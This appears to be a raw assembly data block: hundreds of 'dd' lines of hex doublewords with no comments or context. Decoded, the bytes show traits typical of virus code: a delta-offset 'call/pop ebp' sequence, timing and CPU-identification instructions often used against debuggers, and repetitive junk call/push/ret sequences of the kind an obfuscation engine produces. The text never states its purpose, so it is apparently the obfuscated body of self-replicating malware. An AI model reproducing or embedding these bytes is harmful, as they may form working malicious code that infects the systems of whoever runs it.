		dd 0C3514100h, 3A4DA24Bh, 8E0D11C7h, 0BD83EB76h, 5E829A9h
		dd 35840F02h, 0F000000h, 684h, 0B18D8900h, 8B05E809h, 0E8133D85h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0C6311Bh, 0BBD38000h, 12C185C7h,	5E8h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 17197CC3h, 0A7485F2Ah, 6DBD897Ah, 0E905E806h, 0FFFFF2CFh
		dd 1E880Fh, 13E80000h, 5A000000h, 318D9B3Dh, 0A3A2F948h
		dd 0EA2DA14Fh, 79A163C3h, 8166C228h, 5B0FE6EFh,	0E0D9D01h
		dd 0C18B05E8h, 0F519D8Bh, 858D05E8h, 5E81C1Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 5BC35040h, 29FE7348h
		dd 0E974DE98h, 0Ch, 358E4A18h, 89699954h, 6F91572Eh, 88C0F50h
		dd 50000000h, 8A310F52h, 89585AFAh, 85292404h, 5E83219h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 2C6D4C3h,	6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 0E8DEC9C3h, 0Dh, 8901E160h
		dd 0BDDC0C76h, 0D8BFB08Fh, 11E95F3Ch, 29000000h, 0D470CF6Eh
		dd 3653EC24h, 0A60C207Eh, 7117E6FEh, 6E19858Dh,	6A05ECh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 6DF7B8C3h, 33BF1149h, 0BD8BA7EEh, 5E808B1h, 6A05C083h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 5F90C353h, 2D2635Eh, 7595310Ch, 9005E810h
		dd 50FE8B66h, 6A90FB8Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0CAADC355h,	1A3066DFh
		dd 8B66DCF8h, 6A006ADAh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 7F65C355h, 6A23220Eh
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 94D76D4Dh, 95FFE4EAh, 5E8203Dh, 0EB8A78BBh
		dd 0DB8D8D1Ch, 6A05EBA4h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 7AADC350h, 0B589A43Eh
		dd 5E80675h, 2950D1FFh,	0E82EA18Dh, 0BD835F05h,	5E810B9h
		dd 87850F01h, 8B000000h, 0E82FE19Dh, 89026A05h,	0E814619Dh
		dd 66505005h, 5F87A9BBh, 6A240489h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0FF29C351h
		dd 1325D5F3h, 55F67260h, 6870F60h, 81000000h, 199F1DBh
		dd 0EE91Ch, 43A20000h, 0D9D4532Ah, 0A07EB6C2h, 0D66EFE5Eh
		dd 2D95FF61h, 6A05E82Ch, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 4F9DC350h, 802EE8FBh
		dd 0C0E9AFB3h, 0E800000Dh, 0
		dd 23ED815Dh, 905EC6Eh,	0E83299BDh, 1850F05h, 0F9000000h
		dd 8F58858Dh, 505005EBh, 61605052h, 0B3310F5Fh,	89585AFFh
		dd 890F2404h, 6, 10398529h, 0A7BB05E8h,	647BC231h, 35FFh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 8F0F36C3h, 0Ah, 5E9h, 0B0DD3B00h,	8D09565Dh
		dd 5E822C1h, 258964h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0EEE6C352h,	8621A87Ch
		dd 14E9626Dh, 0C0000000h, 2A7BDF75h, 76C428DBh,	433B4E11h
		dd 0AD6E2CDh, 0FFE0A264h, 0E8254585h, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 6D0382C5h, 6AFF6A3Dh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0EDFEC356h,	5097F83Bh
		dd 0E5396F70h, 21858529h, 0B5FF05E8h, 5E810D9h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 84C35747h, 0A15F59EDh
		dd 2FAD95FFh, 2E905E8h,	81000001h, 0C815E5C3h, 0CB816621h
		dd 0B041B4h, 0BE9h, 0F691CC00h,	36DBC82Ah, 875606D6h, 71E470E6h
		dd 0EAF78166h, 0F613C81h, 0D483h, 0B870F00h, 0E9000000h
		dd 6, 9728549Eh, 0B60F4280h, 858951C8h,	5E8136Dh, 6BA5Fh
		dd 9D8B0000h, 5E80C09h,	8C0FC18Bh, 0
		dd 73DB8166h, 4E8C111h,	7E8h, 0EC368100h, 8A147985h, 5B7CEF80h
		dd 66E2F766h, 0C82BFE8Bh, 0EB816657h, 8B5F68C8h, 99D381D1h
		dd 6623E81Bh, 6E9D98Bh,	89000000h, 0E829C99Dh, 0C1858B05h
		dd 8B05E813h, 0E81BA19Dh, 7C08305h, 1B59BD89h, 0C08305E8h
		dd 0BF0F5200h, 0D03B5BFFh, 0F830Fh, 3EE90000h, 0F000000h
		dd 489h, 0B1BF6600h, 698D8BE3h,	8905E829h, 0E8205595h
		dd 1E18305h, 1F840Fh, 0B5090000h, 5E823D5h, 2969A583h
		dd 0BBFE05E8h, 0C9727A7h, 13C19589h, 0DE8B05E8h, 0E9h
		dd 0C1B58D00h, 6A05EBFAh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 341AC353h, 6A28E0C0h
		dd 0F88B6600h, 5F78166h, 0F995FF97h, 6A05E820h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 5D63C353h, 41F204D7h, 5B523D5Dh, 27C98D29h, 96B905E8h
		dd 6A000008h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 8902C350h, 0AE9646F1h,	0B8428995h
		dd 0E183D88Bh, 55006AFCh, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 0E9F5A263h, 14h, 2BAB618Ch
		dd 0A40052D7h, 47D786BBh, 6FD9A36h, 0E364D103h,	51006AFCh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0A3F3071h, 0BE96A83h, 9D000000h, 8A8F1724h, 37766282h
		dd 0C02BD335h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	4AC35141h, 7DB189C2h, 8A0FF9D9h, 10h, 0BE9h, 0DB9E6E00h
		dd 0D98F3C3Ch, 0D7905C7Bh, 0BAh, 919D0900h, 0AD05E82Dh
		dd 0E8D1C233h, 0E983D003h, 0E9F47504h, 13h, 8FD90B31h
		dd 0C5398F9Ch, 8F9E7A0Dh, 0A54C3C8Bh, 2901A456h, 0E809B1BDh
		dd 11E905h, 106D0000h, 0F7903C0Fh, 113451D5h, 0A21E157Ch
		dd 0DCAFEA2h, 88h, 8BF9B70Fh, 0E8159D95h, 68C0F05h, 8B000000h
		dd 0E829719Dh, 58D8B05h, 5105E807h, 2ADDB589h, 315B05E8h
		dd 0E817199Dh, 0C28B5005h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0EE94C352h, 73C67742h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 12C35646h, 0D90B51BFh
		dd 71BD8353h, 5E82Eh, 42840Fh, 9D8B0000h, 5E82DADh, 0B8h
		dd 0B9BD8B00h, 8D05E832h, 0E84D6A8Dh, 0D2F38005h, 6AE1FFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 4F4BCC3h, 81660DB9h,	0FC2865CFh, 0A61BD83h, 0F0005E8h
		dd 4D584h, 0EBBB6600h, 61BD835Fh, 105E80Ah, 4DF840Fh, 0BB660000h
		dd 0BD8303FFh, 5E80A61h, 98860F03h, 89000004h, 0E813C9B5h
		dd 0CE96005h, 75000000h, 5C59182Ch, 0DA8AB78Eh,	66B06E30h
		dd 9D8BD98Ch, 5E82E0Dh,	0F04E180h, 68Ah, 59BD8900h, 0A05E830h
		dd 9A840FC9h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0EB04C357h,	8B1759F5h
		dd 0E82EE9BDh, 0B1858B05h, 6605E802h, 8B0FF88Bh, 4, 71F3BB66h
		dd 1BCD8533h, 6A05E8h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 2C7A4BC3h, 2A5EB497h, 8B25F2E0h
		dd 0E816F59Dh, 45BD8905h, 9005E831h, 890F5250h,	2, 310F6160h
		dd 5AF88B66h, 52505058h, 12E9h,	0A4C4E600h, 0BD8A800Fh
		dd 0E518A81Dh, 40EEA232h, 0F268708h, 61605631h,	90585A5Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 55C35040h
		dd 25BD8B6Ah, 6A05E819h, 0E7816600h, 33685576h,	0E855EF85h
		dd 0Bh,	13818A5h, 0C63DE782h, 66F1DB99h, 5F6BC3BBh, 0CC243481h
		dd 6A55F086h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0DD21C353h, 2622632Eh,	0B70FD376h
		dd 12E8DAh, 66280000h, 0BA74FB3Bh, 0BE2D0DF6h, 2AFE0244h
		dd 62860C00h, 0FF5BFE8Ah, 0E8151995h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 7CC52E47h, 0CB8013C9h, 0AD9D8BE3h, 8905E814h, 0EBB3F185h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 421BFA4Bh, 4B9EDEA2h, 4279C781h,	24E96211h
		dd 89000002h, 0E82815B5h, 0E9858B05h, 0E905EBB3h, 8, 49AFF823h
		dd 0F963DB43h, 1800C7h,	6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 807870C3h, 0C9E7DE9Dh
		dd 8BC8C1C4h, 0EBB3EDB5h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0F58D897Dh
		dd 8B05E81Bh, 0E8334185h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 43FE4DBEh
		dd 0FC851C66h, 0DB810689h, 25F78144h, 2B1858Bh,	468905E8h
		dd 50006A04h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0F30E7E5Ch, 0DF8B9BBAh, 0FA8B6650h, 6A243489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 660DC355h, 8CC7F381h, 0B3E9B5FFh,	6A05EBh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0CB93A8C3h, 0C5A2D3F9h, 9D8BF1F8h, 5E82109h,	4E8h, 1F03FF00h
		dd 0F98B6600h, 60525050h, 10E8h, 28970000h, 3453160h, 0A20F569Eh
		dd 0F1193EE9h, 8B665876h, 310F61D0h, 13E951h, 4BE80000h
		dd 0A339D52Fh, 0A0910E2Ch, 0E7BC936Bh, 45750647h, 585A5F0Fh
		dd 424448Bh, 7E860h, 13E10000h,	8F1667BCh, 810F93h, 5E000000h
		dd 8B61CF8Bh, 24448900h, 0B6BB6604h, 6A585Eh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 7B1D8EC3h
		dd 515947D0h, 0B3F1858Dh, 9D2905EBh, 5E82191h, 2107BF90h
		dd 50507427h, 0FDF8B52h, 870F31h, 5A000000h, 6A9058h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 5F95ECC3h, 95FF2D8Dh, 5E81519h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 34C35040h, 0F4396E5h, 68Eh
		dd 51B50900h, 6105E824h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 19h, 86C35545h, 0FDC04751h, 3D8589A4h, 0C705E822h
		dd 0E80A6185h, 305h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 1DDDF60Ah, 8434BF88h
		dd 0BD8353E6h, 5EBB3F1h, 44840F00h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 3A5AC353h, 0E137422Eh, 45466EAEh, 0FE9h, 0CB63CD00h
		dd 5F538329h, 6D78B3BBh, 15D8DE14h, 21E9h, 95853100h, 5005E81Fh
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 8B60C08Bh, 0E81031BDh
		dd 6A61F805h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 3F0C352h, 4AC3809Bh, 6880Fh, 810F0000h
		dd 0
		dd 0A61BD83h, 0F0305E8h, 3B185h, 0FE96000h, 92000000h
		dd 8435BEACh, 0C916E98Ah, 0B06BDF25h, 0BD89801Bh, 5E831C1h
		dd 0F1BD8361h, 5EBB3h, 388840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 818698C3h
		dd 3ABEDAF7h, 0BE830h, 0FEBF0000h, 0A1C695DDh, 91DEBF06h
		dd 198D0F90h, 0E9000000h, 14h, 0FB89BCDDh, 312C7C52h, 81A549F9h
		dd 0CF73A7B7h, 892D06AFh, 0F1B5FF5Bh, 6A05EBB3h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 6650C350h, 8BF680BBh, 0E822659Dh, 995FF05h, 8B05E81Ch
		dd 0EBB3E5B5h, 0F98B6605h, 0C7FA8B66h, 1000106h, 0A880F00h
		dd 0F000000h, 48Ah, 0D9BB6600h,	0BF6650EFh, 3489C832h
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 19BD8B60h, 0FF05E817h, 0EBB3F1B5h, 0E1BD8905h
		dd 0FF05E813h, 0E808BD95h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0DE80A3ADh
		dd 0E9A06DECh, 0Dh, 0B46D18A0h,	4528A29Ch, 268F0344h, 7993BB59h
		dd 0B58B450Eh, 5EBB3E5h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 15h, 63C35242h, 0B58D3153h, 8B05E81Fh, 0E814B985h
		dd 0C4868905h, 8B000000h, 0E82FDDBDh, 9D958B05h, 6A05E815h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0ECAFC357h, 1060C12Ch, 92F64938h,	3820F60h
		dd 0F000000h, 0B70FF7B7h, 9D2B61C3h, 5E82C75h, 6A04C283h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0F65DC356h, 89D1524Eh, 858D2050h,	5EBC65Dh
		dd 1389BD8Bh, 868905E8h, 0B8h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0C35040h, 0F53AEB03h, 29811E12h
		dd 0E81515B5h, 0E8006A05h, 12h,	0E9819FCAh, 0EBC7E413h
		dd 724BED4Eh, 21AE6ABFh, 12E9710Ch, 0A1000000h,	0AB923343h
		dd 12B51242h, 176A4EDEh, 24297285h, 0B5FF5FE3h,	5EBB3F1h
		dd 2D95FFFCh, 8B05E82Ch, 0E824A5BDh, 0BB665005h, 3489B761h
		dd 0FDBF6624h, 5E9D9h, 8D990000h, 0FFDEC3B7h, 0EBB3F1B5h
		dd 5E905h, 99650000h, 0FF4AFAB8h, 0E802C195h, 11E905h
		dd 1F6B0000h, 0A7004B2Bh, 0D26B51A2h, 0E6FF763Ah, 83EFE606h
		dd 0E8025DBDh, 840F0005h, 41h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0A0C35242h,	8E996h,	0CBF90000h
		dd 0E884235Fh, 665083D1h, 0E996F88Bh, 0Dh, 95CEC201h, 3A4436A9h
		dd 1B086468h, 0F1B5FFB8h, 0E905EBB3h, 13h, 910F765h, 8C0E41A5h
		dd 3F3E9766h, 4720BF88h, 0FF569F69h, 0E8075995h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0FFF1C575h, 0EBB3F1B5h, 2595FF05h, 0F05E807h, 0BD83FEB7h
		dd 5E829A9h, 3F840F02h,	66000000h, 1300EB81h, 133D858Bh
		dd 9D2905E8h, 5E82F5Dh,	6A0000C6h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 213FC356h
		dd 8F0F57F3h, 6, 2CD9B589h, 85C705E8h, 5E812C1h, 0
		dd 0FE8h, 0ED73CD00h, 960B189Eh, 4644F259h, 6AB7EE43h
		dd 3EE95FFCh, 0BBFFFFF3h, 100E8B17h, 8B5BE380h,	0C810FC1h
		dd 0F000000h, 686h, 1BD8B00h, 8D05E80Bh, 0E81C1D85h, 0C810F05h
		dd 0F000000h, 68Ah, 10F78100h, 502320B7h, 38E0F52h, 66000000h
		dd 895FD88Bh, 81662404h, 6A898FEBh, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0B21A4263h
		dd 0BD0B357Fh, 0CF816654h, 12E92563h, 0B1000000h, 0BB654AA9h
		dd 77AD4AE1h, 8342427Bh, 63DFAD62h, 1006A1Dh, 0E8220D85h
		dd 7E905h, 96580000h, 0EBAD7678h, 49858DBCh, 8905EC7Dh
		dd 0E802D58Dh, 5C08305h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 17h, 0E8C35141h, 0F8EEFD8h, 1284h,	0DE900h
		dd 0C6200000h, 40226D46h, 8597D33Ch, 50F9D8F2h,	489D98Bh
		dd 6AFD8A24h, 5860F00h,	0BF000000h, 7AD3E1E1h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 8160C7C3h, 2485D4E0h, 5006BB28h, 0FF6114E9h,	0E8203D95h
		dd 0DBB70F05h, 0A4DB8D8Dh, 6A05EBh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0B77528C3h
		dd 1BA1B529h, 0D1FF05E8h, 5E19D8Bh, 0BD8305E8h,	5E810B9h
		dd 1B850F01h, 6A000000h, 0FFB70F02h, 7DBB5390h,	5F4B7A39h
		dd 0FA8B6650h, 2D95FF90h, 0F05E82Ch, 0BFE9F8B7h, 0E800000Dh
		dd 0
		dd 53ED815Dh, 6A05EC7Dh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 8BFEC351h, 0F4230F5Dh
		dd 0BD29325Dh, 5E81661h, 27599D2Bh, 6A05E8h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 66EE30C3h
		dd 31149E11h, 880F0AD1h, 2, 0BF0FF88Ah,	58858DFEh, 6A05EB8Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0D5ABC352h, 8C0F562Dh, 3,	0FDABF0Fh, 1482h
		dd 8E800h, 2AEB0000h, 48C963EBh, 8D29D9E1h, 5E80FF9h, 0DFBF0F5Fh
		dd 0D692BB90h, 0E950491Eh, 11h,	0B7EA599Eh, 2B15B3C6h
		dd 0F7B93E09h, 0C8A42F34h, 85319005h, 5E80E85h,	35FF64h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0EA08C350h, 6208B590h,	63AF52F4h
		dd 809BCFBBh, 0FDB5896Bh, 6405E82Dh, 2589h, 0BB660000h
		dd 0E7813CD8h, 0ECA9114h, 254585FFh, 6A05E8h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 50BE21C3h
		dd 0E8C3E951h, 0F98A1C26h, 6AFF6Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0D5A1E7C3h
		dd 1595BD8Bh, 0B5FF05E8h, 5E823B9h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 18h, 93C35040h, 908B2CDh, 33019589h
		dd 95FF05E8h, 5E82FADh,	173E9h,	0B023B300h, 0F5BD8B00h
		dd 0E605E824h, 0D8B70F70h, 0DE8h, 9978FF00h, 524743D5h
		dd 0A4D2A550h, 8D017C4Dh, 5E823F1h, 8971E45Fh, 0E8129D8Dh
		dd 0F613C05h, 13B83h, 7DEF8100h, 0F6D8023h, 8D09C8B6h
		dd 5E8208Dh, 6BAh, 9D8B5700h, 5E82B81h,	0FC18B5Fh, 138Dh
		dd 7E800h, 31460000h, 0C5539173h, 6D9D298Fh, 5B05E819h
		dd 699D8960h, 8B05E808h, 0E82B4595h, 0E8C16105h, 49858904h
		dd 6605E809h, 9501E2F7h, 5E83191h, 0CE9C82Bh, 0D9000000h
		dd 6D2316B3h, 4D00715Dh, 8BBB17A0h, 0D8B70FD1h,	4E9h, 88BB6600h
		dd 0F1858B64h, 8B05E82Eh, 0E82D059Dh, 7C08305h,	83E1F780h
		dd 950900C0h, 5E81FD1h,	830FD03Bh, 43h,	13F5BD29h, 12E905E8h
		dd 0A4000000h, 0DEE5EC96h, 3D8926BFh, 267F0D88h, 35F915C9h
		dd 7EE965h, 0CE90000h, 0CF000000h, 47F77213h, 0D2AFD96h
		dd 0E8E1A619h, 0Ah, 92C5BCB9h, 0FB87833Dh, 8B5F5DE0h, 0E826318Dh
		dd 0DDBD2B05h, 8305E82Fh, 840F01E1h, 48h, 5890Fh, 81660000h
		dd 83BC09C7h, 0E82631A5h, 8B66FE05h, 0F19589DFh, 6005E82Eh
		dd 0C5858B60h, 0E805E830h, 12h,	0DADAD4BEh, 190FB360h
		dd 0D70B1730h, 89CFAB2h, 615B8843h, 51616060h, 0E9616159h
		dd 0
		dd 4ACB58Dh, 9D8905ECh,	5E819A1h, 0B750006Ah, 95FF5B2Eh
		dd 5E820F9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	15C35141h, 0C28017BFh, 0DEBF0F17h, 3029BD2Bh, 0A6B905E8h
		dd 6A000007h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 8FFAC353h, 5D91D5B7h, 0EE8820Dh
		dd 81000000h, 84607553h, 0AAE81757h, 0F814F799h, 0E1835F06h
		dd 57006AFCh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 2026B4BFh, 0FE9E4h, 0F7FC0000h, 1C3C3B21h
		dd 0C95FB17Bh, 2EEAC6ECh, 9D89FC72h, 5E823E5h, 0D88BC02Bh
		dd 0BAh, 0FEB70F00h, 6860Fh, 9D0B0000h,	5E81F21h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 47C35040h, 0BCA9EB68h, 6CD588D5h, 8A05B360h
		dd 52006ADCh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 78D6E0AEh, 267A0536h, 32B7CD1Eh,	0C880Fh
		dd 7E90000h, 8A000000h,	7B0FA517h, 880DABFAh, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 7B58C357h, 1AFB118Dh, 0BE9F351h, 0DF000000h
		dd 0A6B17012h, 9A5ABD89h, 958BD1C9h, 5E8159Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0B1C35646h, 0DFA11173h
		dd 0D6CB0AF7h, 0BE881h,	52B70000h, 0BA2B9020h, 29954E63h
		dd 5FDE8BE5h, 24919D89h, 8D8B05E8h, 5E80705h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 6BC35242h, 50E77466h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	72FCBF58h
		dd 8B661572h, 71BD83DAh, 5E82Eh, 74840Fh, 860F0000h, 2
		dd 0B82AB3h, 80000000h,	8D8D90EBh, 5E84D6Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 26C35646h, 0E8FFB70Fh
		dd 0Dh,	8E456AE4h, 1BD1503Eh, 0C47631F3h, 0E1E38034h, 6AE1FF5Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0C865C353h, 8EFE27Ch, 0BB668ABCh,	0BD8383D3h
		dd 5E80A61h, 2840F00h, 0F000004h, 686h,	2D9D0B00h, 8905E81Fh
		dd 0E82EA5BDh, 61BD8305h, 105E80Ah, 3FE840Fh, 9D310000h
		dd 5E80C19h, 0A61BD83h,	0F0305E8h, 3B586h, 0D18D8900h
		dd 2905E816h, 0E81959B5h, 6A6005h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0EBCEC0C3h, 32ED9509h
		dd 0BB6605E8h, 8C66CE88h, 52006AD9h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0B54274E3h
		dd 0E4BF2C42h, 80FB8BF3h, 6A04E1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 8CD68CC3h, 0FFB7084Eh
		dd 6258D89h, 0C90A05E8h, 14A840Fh, 81660000h, 8BA083DFh
		dd 0E802B185h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 2DBD8B59h, 3305E82Bh
		dd 0E81BCD85h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 84E00C7Ah, 919D25D7h
		dd 0AE850h, 70800000h, 93A498BFh, 424B9D07h, 61605250h
		dd 0DE8310Fh, 0D3000000h, 0F6DFDAC3h, 0D3560A58h, 3B590111h
		dd 5F585A5Fh, 6A240489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 9368C351h, 0F4FD108Bh
		dd 0B8881287h, 0BA60BF66h, 0BB66006Ah, 9C68C9A5h, 0E9297589h
		dd 0Fh,	18A81DBDh, 0EEA232E5h, 26870840h, 81B68941h, 8A632434h
		dd 6A296Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 22AFEBC3h, 0C999D8Bh, 95FF05E8h, 5E81519h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 7FC35747h
		dd 9451354Dh, 5B9496BCh, 0B3F18589h, 0E95705EBh, 10h, 0ECE5CA33h
		dd 51870922h, 0F3497FD6h, 45B5DFFh, 17AE95Fh, 9D230000h
		dd 5E80FA5h, 0B3E9858Bh, 0CE805EBh, 0A000000h, 0A7B5E98Bh
		dd 48E21701h, 5FE47770h, 0BD18589h, 0C705E8h, 18h, 3240CF81h
		dd 0B58B19C4h, 5EBB3EDh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 19h, 0CC35141h, 0B2BC50F3h, 8E961h, 0FD830000h
		dd 94A953B5h, 95895CF4h, 5E82951h, 3341858Bh, 816605E8h
		dd 896609D3h, 0E9BD8B06h, 8B05E802h, 0E802B185h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 49EFA9FCh, 66523383h, 0B70FDA8Bh, 44689DBh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0A6C35242h, 2541BD8Bh
		dd 0B75005E8h, 243489ABh, 6661F860h, 0B5FFFA8Bh, 5EBB3E9h
		dd 30159D03h, 796805E8h, 81A6747Fh, 84862404h, 816659AAh
		dd 8BB38AD7h, 0E805B59Dh, 0F1858D05h, 0F905EBB3h, 0E8525050h
		dd 12h,	0E6A1F64h, 3A656327h, 0D6B23BAFh, 4456055Ah, 8B662ADAh
		dd 310F5FD8h, 585AD88Bh, 6A240489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8969C355h
		dd 0E80DC985h, 1995FF05h, 6A05E815h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 1F07C352h
		dd 0D38156D7h, 0B8D6603h, 55006A61h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 16EA5EF4h
		dd 2890F94h, 8B000000h,	6185C7DFh, 305E80Ah, 60000000h
